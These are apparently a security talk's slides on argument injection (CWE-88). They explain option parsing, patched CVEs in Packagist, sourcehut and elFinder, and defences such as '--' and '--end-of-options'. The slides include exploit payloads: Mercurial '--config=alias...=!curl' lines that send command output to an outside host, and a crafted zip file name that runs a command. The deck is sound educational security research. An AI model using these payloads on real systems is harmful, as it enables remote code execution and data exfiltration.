

# Won't you please, please --help me?

(to {find|fix} more bugs)



**November 17, 2023**

# Introduction — \$(id)

- Thomas Chauchefoin / @swapgs
  - Staff Vulnerability Researcher for Sonar
- Sonar helps you write Clean Code
  - SonarQube, SonarCloud, SonarLint used by 7M+ developers
  - Responsible disclosure to fuel our Product Innovation
  - 150+ 0-days over the last two years
  - Pwnie Awards nominations, PortSwigger's Top 10, Pwn2Own, etc.

# Why this talk?

- Argument Injection = A. I. = hype
- "New is not always better"
  - 163 Argument Injection (CWE-88) CVEs since 2004
  - 21,085 CVEs this year so far
  - ~ 20 CWE-88 findings on our side in the last two years
- General security wisdom
  - ???: "You only find what you're looking for!"
  - Nicolas Grégoire: "You need a differentiating factor"

# Why this talk?

- Many security practitioners...
  - Kind of know about it, but it's not part of their toolkit
  - Option Injection, Flag Injection, Parameter Injection, etc.
  - Think this is unexploitable in most cases?
- "163 CVEs since 2004"
  - Most of them are bogus >:(
  - Confusion between CWE-88 and CWE-77, CWE-\* and CWE-88


# Menu of the day

- Argument Injection 101
- Bugs!
- Prevention
- Contributions and Ideas

Let's discover, exploit and remediate more AI bugs!

# Argument Injection 101

# Terminology



# Terminology

## Option-Arguments Parameters

\$ foobar `--foo=bar` `--fizz` `buzz` `doe`

The diagram illustrates the classification of command-line arguments. The command '\$ foobar --foo=bar --fizz buzz doe' is shown. The arguments are grouped into two categories: 'Options / Flags' and 'Operand Positional Argument'. 'Options / Flags' includes '--foo=bar' and '--fizz'. 'Operand Positional Argument' includes 'buzz' and 'doe'. The labels are connected to the arguments by arrows: a red arrow points from 'Options / Flags' to '--foo=bar' and '--fizz'; a blue arrow points from 'Operand Positional Argument' to 'buzz' and 'doe'. Additionally, a green arrow points from the top label 'Option-Arguments Parameters' to the entire set of arguments.

Options / Flags

Operand  
Positional Argument



# What's a Command Injection?

 Controlled  
Static

```
controlled = "$(date)"  
execute("git status" . controlled)
```

- Execution steps

- `execve("/bin/sh", ["sh", "-c", "git status $(date)"])`
  - `/bin/sh` parses `git status $(date)`
- `execve("/usr/bin/date", ["date"])`
- `execve("/usr/bin/git", ["git", "status", "Thu", "Nov", [...]])`

# Look, it's fixed!

 Controlled  
Static

```
controlled = escape("${date}")  
execute("git status " . controlled)
```

- Execution steps

- `execve("/bin/sh", ["sh", "-c", "git status '${date}'])`
  - `/bin/sh` parses `git status '${date}'`
- `execve("/usr/bin/git", ["git", "status", "${date}"])`

# Look, it's fixed!

 Controlled  
 Static

```
controlled = "$(date)"  
execute_without_shell("/usr/bin/git", "status", controlled)
```

- Execution steps

- `execve("/usr/bin/git", ["git", "status", "$(date)"])`

# Or, is it?

 Controlled  
Static

```
controlled = escape("--help")  
execute("git status " + controlled)
```

- Execution steps

- `execve("/bin/sh", ["sh", "-c", "git status '--help'])`
  - `/bin/sh` parses `git status '--help'`
- `execve("/usr/bin/git", ["git", "status", "--help"])`

# Or, is it?

 Controlled  
 Static

```
execute_without_shell("/usr/bin/git", "status", controlled)
```

*Note: In the original image, the string "--help" is highlighted in red, and a red arrow points from it to the corresponding argument in the execve call below.*

- Execution steps

- `execve("/usr/bin/git", ["git", "status", "--help"])`

# Language APIs

Language	Without shell	With shell	Escape functions?	Docs mention AI?
PHP	<code>proc_open()</code>	<code>popen()</code> <code>system()</code> <code>passthru()</code>	<code>escapeshellcmd()</code> <code>escapeshellarg()</code>	Comment <sup>[1]</sup>
NodeJS	<code>execFile()</code> <code>spawn()*</code>	<code>exec()</code> <code>spawn()*</code>	N/A	No
Python	<code>subprocess.Popen()*</code> <code>subprocess.run()*</code> <code>os.execv*()</code>	<code>subprocess.Popen()*</code> <code>subprocess.run()*</code> <code>os.system()</code>	<code>shlex.quote()</code>	No
Rust	<code>std::process::Command</code>	N/A	N/A	No
Go	<code>exec.run()</code>	N/A	N/A	No

# First thoughts


- It's counterintuitive
  - The shell is a (tricky) additional layer
  - "But I used an escape function to make my data safe!"
  - An option can be dangerous? / But --help is useless!
- Most remediation effort is short-sighted
  - There's an argument injection waiting behind all command injections

# Bugs!



# Bugs!

- Exploitation use cases with our bugs
  - Command Injection into Argument Injection
    - Packagist, Visual Studio Code, ...
  - Passing several arguments options
    - eFinder
  - Non-standard argument parsers
    - Packagist x 2, sourcehut, GoCD, pip...
  - And so much more!



# CVE-2021-29472 in Packagist

- Backend for the PHP package manager Composer
  - Handles 2.4 billion dependency downloads/month
  - CVE-2021-29472<sup>[1]</sup> / CVE-2022-24828<sup>[2]</sup>
- Packagist only index projects hosted elsewhere
  - Import to later publish them
  - Metadata and READMEs stored on Packagist

[1] <https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/>

[2] <https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/>

# CVE-????-???? in Packagist

```
diff --git a/src/Composer/Repository/Vcs/SvnDriver.php b/src/Composer/Repository/Vcs/SvnDriver.php
index 96434517a4ea..d3e7ee175523 100644
--- a/src/Composer/Repository/Vcs/SvnDriver.php
+++ b/src/Composer/Repository/Vcs/SvnDriver.php
@@ -307,10 +307,10 @@ public static function supports(IOInterface $io, Config $config, $url, $deep = f
     return false;
 }
-     $processExecutor = new ProcessExecutor();
+     $processExecutor = new ProcessExecutor($io);
 $exit = $processExecutor->execute(
-     "svn info --non-interactive {$url}",
+     "svn info --non-interactive ".$processExecutor::escape('{' . $url . '}'),
     $ignoredOutput
 );
```

# CVE-2021-29472 in Packagist

```
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    // [...]
    try {
        $gitUtil->runCommand(function ($url) {
            return 'git ls-remote --heads ' . ProcessExecutor::escape($url);
        }, $url, sys_get_temp_dir());
    }
    // [...]
}
```

# CVE-2021-29472 in Packagist

```
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(
        "svn info --non-interactive ".ProcessExecutor::escape($url),
        $ignoredOutput
    );
    // [...]
}
```

# CVE-2021-29472 in Packagist

```
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
    // [...]
    $process = new ProcessExecutor($io);
    $exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)),
    $ignored);
    return $exit === 0;
}
```

# CVE-2021-29472 in Packagist

- Exploitation with Mercurial

```
--config=alias.identify=!curl http://me.tld --data "$(ls -alh)"
```

Injected option

Configuration  
override

Payload

# Recent findings on sourcehut


- sourcehut is a "suite of open source tools"
  - Git / Mercurial repositories hosting
  - Bug tracking, mailing lists, etc.
- Multiple bugs in features using git and hg
  - git.sr.ht's patch feature<sup>[1]</sup>
  - git.sr.ht's archive feature<sup>[2]</sup>
  - hg.sr.ht's GraphQL resolver<sup>[3]</sup>

[1] <https://git.sr.ht/~sircmpwn/git.sr.ht/commit/f2c8bab45d3c89f4c304c612e06099b968063146>

[2] <https://git.sr.ht/~sircmpwn/git.sr.ht/commit/3dcb94204fcb8d78cf606f71a9b0ce943b38abe8>

[3] <https://hg.sr.ht/~sircmpwn/hg.sr.ht/rev/833b942ffc8e7c39d72e3c4f8d2b46404afa3b48>





# hg.sr.ht's GraphQL resolver

- GraphQL API on top of most features
  - Resolvers for fields not stored in the database
  - For repositories
    - History, bookmarks, branches, tags, etc.
    - Implemented as wrappers around git / hg
      - Libraries don't cover the same feature set

# hg.sr.ht's GraphQL resolver

```
// Log is the resolver for the log field.
func (r *repositoryResolver) Log(..., rev *string) (*model.RevisionCursor, error) {
    // [...]
    cmdparams := []string{"log", "-l", strconv.Itoa(cursor.Count + 1)}
    if rev != nil {
        cmdparams = append(cmdparams, "-r", *rev)
    } else if cursor.Next != "" {
        cmdparams = append(cmdparams, "-r", fmt.Sprintf("reverse(ancestors(%s))", cursor.Next))
    }
    cmdparams = append(cmdparams, "--template", HG_CHANGESET)

    out, err := obj.ExecuteCommand(ctx, cmdparams...)
    // [...]
}
```

# hg.sr.ht's GraphQL resolver

- This is safe since we inject an option-argument, right?

```
cmdparams := []string{"log", "-l", strconv.Itoa(cursor.Count + 1)}  
// [...]  
cmdparams = append(cmdparams, "-r", *rev)  
// [...]  
out, err := obj.ExecuteCommand(ctx, cmdparams...)
```


# Mercurial to the rescue

- Special behaviour introduced in 2013<sup>[1]</sup>
  - `--config` take precedence over everything else

```
# read --config before doing anything else
# (e.g. to change trust settings for reading .hg/hgrc)
cfgs = _parseconfig(req.ui, _earlygetopt(['--config'], req.args))
```

# hg.sr.ht's GraphQL resolver

```
query {
  me {
    repositories() {
      cursor
      results {
        id, name, updated, log(rev: "--config=alias.log=!curl https://webhook.site/[...]" ) {
          cursor, results { id }
        }
      }
    }
  }
}
```



# CVE-2021-32682 in eFinder < 2.1.59

- CVE-2021-32682 in eFinder<sup>[1]</sup>
- Argument Injection in the archive feature
  - Based on file names
  - Flows to zip, rar, 7z

# CVE-2021-32682 in eFinder < 2.1.59

```
protected function makeArchive($dir, $files, $name, $arc)
{
    // [...]
    foreach ($files as $i => $file) {
        $files[$i] = '.' . DIRECTORY_SEPARATOR . basename($file);
    }
    $files = array_map('escapeshellarg', $files);


    $cmd = $arc['cmd'] . ' ' . $arc['argc'] . ' ' . escapeshellarg($name) . ' ' . implode(' ', $files);
    $this->procExec($cmd, $o, $c);
    // [...]
}
```



# CVE-2021-32682 in elFinder < 2.1.59

- zip has these options
  - -T, --test: "Test the integrity of the new zip file"
  - -TT cmd, --unzip-command cmd: "Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used"
- How to inject multiple arguments?





# CVE-2021-32682 in elFinder < 2.1.59

- Exploitation
  - Create a file named `-TmTT=$(date>foo)`
  - `zip '-TmTT=$(date>foo).zip' './a' './b' [...]`
- Short-form options allow injection several options!
  - Limited to one option-argument

# Prevention

# POSIX to the rescue

- POSIX<sup>1</sup> specifies an end-of-options switch: --
  - All arguments following it are treated as operands
  - It doesn't stop argument parsing
    - Can be understood as a file name
- That's it! 🎉

# In an ideal world...

- Remember zip from elFinder?

```
$ zip -- a.zip
```

```
zip error: Invalid command arguments (can't use -- before  
archive name)
```


# In an ideal world...

- Remember hg from Packagist, sourcehut?

## Mercurial to the rescue

- Behaviour introduced in 2013<sup>[1]</sup>
  - `--config` take precedence over everything else

```
# read --config before doing anything else
# (e.g. to change trust settings for reading .hg/hgrc)
cfigs = _parseconfig(req.ui, _earlygetopt(['--config'], req.args))
```



## In an ideal world...

- How about git from other sourcehut findings?

Git 2.24 has a new way to prevent this sort of option injection attack using `--end-of-options`. When Git sees this as an argument to any command, it knows to treat the remaining arguments as such, and won't interpret them as more options. [...]

Not using the standard `--` was an intentional choice here, since this is already a widely-used mechanism in Git to separate reference names from files.

# Argument parsing is easy, right?

- Various conventions
  - POSIX Utility Conventions<sup>[1]</sup>
  - GNU-style: `-o`, `--option`
  - (X11|java|find)-style: `-option`
  - Plus-sign options: sh's `+a`

# Argument parsing is easy, right?

- "Edge cases"
  - Option in an option-argument
  - Grouping of short-form arguments
  - Attached vs non-attached arguments
    - Are `-o arg`, `-oarg` and `-o=arg` the same?
  - Short-form can be several characters vs one
  - Reordering (`_POSIX_OPTION_ORDER`)



# Prevention

- Hard to protect against vague risks
  - Every implementation is (slightly) different!
  - Non-POSIX systems?
  - Responsibility of the caller vs the callee
- Aggressive input validation of the prefix
  - It worked *very* well with other kinds of injection bugs 🙄
  - Second-order is not uncommon

# Prevention


- Some band-aids
  - Prefix absolute paths with /, relative paths with ./
  - Always use the --option=parameter form for options
    - How about operands?
  - Trim non-[a-zA-Z0-9] from prefix

# Contributions and Ideas

# Argument Injection Vectors

- Collaborative list of argument injection vectors
  - <https://sonarsource.github.io/argument-injection-vectors/>
- Entries must always reference real-world resources
  - CVEs, advisories, CTF write-ups, etc.
  - This is not GTFOBins!<sup>[1]</sup>





# SystemSan

- Google's SystemSan<sup>[1]</sup>
  - Catch non-memory corruption bugs during fuzzing
    - Abort execution in case of suspicious behaviour
    - Command Injections, Path Traversal
  - Process-level instrumentation with ptrace
    - Hook on syscalls and inspect registers
- Contributed support for Argument Injections
  - PRs #10767<sup>[2]</sup>, #10593<sup>[3]</sup>, #10724<sup>[4]</sup>
    - Please review me 🙏🙏

[1] <https://security.googleblog.com/2022/09/fuzzing-beyond-memory-corruption.html>

[2] <https://github.com/google/oss-fuzz/pull/10767>

[3] <https://github.com/google/oss-fuzz/pull/10593>

[4] <https://github.com/google/oss-fuzz/pull/10724>

# Misc. Ideas

- Plug SystemSan to dynamic testing tools?
- Automatic classification of argument parsers attributes
- Introduce argument injection vectors in more tooling
  - Argument Injection Hammer<sup>[1]</sup>
  - Wordlists

# Conclusion

# Conclusion

- Huge potential on the offensive side
  - Affects all languages, all APIs, no mitigation but education
  - More tooling and exploitation techniques
- Huge potential on the defensive side
  - Less flexible but safer process APIs
    - Separate options and operands
    - Compile-time enforcement that operands are validated
  - Better tracking of Argument Injection bugs
- Good luck with your research! Send us your vectors and CVEs ;-)



# Thank you!



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